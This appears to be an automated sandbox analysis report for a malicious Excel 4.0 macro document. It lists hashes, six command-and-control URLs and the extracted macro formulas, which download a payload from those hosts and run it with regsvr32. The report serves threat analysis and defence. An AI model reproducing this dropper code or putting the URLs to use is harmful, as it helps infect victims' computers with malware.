General

  • Target

    2d7fa75417ad7d40597b333e3bf938cd52996b2a9dbb22823ad7b09c8aa47356

  • Size

    40KB

  • Sample

    241120-f47qja1rgx

  • MD5

    4e031bdf6bc200b5c024b0e70a49c0ab

  • SHA1

    7a08fe46774ae75bc5b28fd72a991cedd1ddac88

  • SHA256

    2d7fa75417ad7d40597b333e3bf938cd52996b2a9dbb22823ad7b09c8aa47356

  • SHA512

    c94921a6d7c94f87e432066cca67e1ff93de77acc280ca238bd8b95d59c8c82f82190b27bdaee3ed0b19390dc6615b0b65e20843884c92efe200cf0727b03875

  • SSDEEP

    768:CknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:6Gom8eDmylND59V4jwmXc2CVfs37

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://wellnessonus.com/wp-admin/OFq5F8Y/

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wellnessonus.com/wp-admin/OFq5F8Y/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://choicepestcontrol.xyz/wellknown/PERKnM4X/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://wellnessonus.com/wp-admin/OFq5F8Y/

xlm40.dropper

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

xlm40.dropper

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

xlm40.dropper

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

xlm40.dropper

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

Targets

    • Target

      2d7fa75417ad7d40597b333e3bf938cd52996b2a9dbb22823ad7b09c8aa47356

    • Size

      40KB

    • MD5

      4e031bdf6bc200b5c024b0e70a49c0ab

    • SHA1

      7a08fe46774ae75bc5b28fd72a991cedd1ddac88

    • SHA256

      2d7fa75417ad7d40597b333e3bf938cd52996b2a9dbb22823ad7b09c8aa47356

    • SHA512

      c94921a6d7c94f87e432066cca67e1ff93de77acc280ca238bd8b95d59c8c82f82190b27bdaee3ed0b19390dc6615b0b65e20843884c92efe200cf0727b03875

    • SSDEEP

      768:CknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:6Gom8eDmylND59V4jwmXc2CVfs37

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks